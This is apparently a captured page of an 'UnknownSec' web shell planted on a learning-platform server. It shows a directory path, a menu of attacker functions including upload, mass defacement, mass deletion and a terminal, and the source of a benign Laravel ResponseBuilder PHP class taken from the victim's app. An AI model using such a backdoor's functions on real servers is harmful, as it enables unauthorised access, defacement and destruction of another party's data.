UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_32dd533a42fd
/
app
/
Base
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
ResponseBuilder.php
<?php namespace EstudioLMS\Base; use Illuminate\Contracts\Support\Arrayable; use Input; use Request; //use App; /** * Class ResponseBuilder * @package EstudioLMS\Base */ class ResponseBuilder { /** * Builds a response using the view and the given data. It will primarily * render the $view file with the $data, but if the request asks for Json * A Json response with the same $data will be returned. * * @param string $view * @param array $data * @param array $viewData Data that will be passed to the View only, so it will not be visible in Json responses * * @return mixed; a renderable View or Response object */ public function render($view, $data = array(), $viewData) { if (Request::wantsJson() || Input::get('json', false)) { $response = response()->json($this->morphToArray($data)); } else { $data = $this->morphToArray($data); $response = view($view, array_merge($data, $viewData)); } return $response; } /** * Morph the given content into Array. * * @param mixed $content * * @return string */ protected function morphToArray($content) { if ($content instanceof Arrayable || method_exists($content, 'toArray')) { return $content->toArray(); } if (is_array($content)) { foreach ($content as $key => $value) { $content[$key] = $this->morphToArray($value); } } return $content; } }
Copyright © 2026 - UnknownSec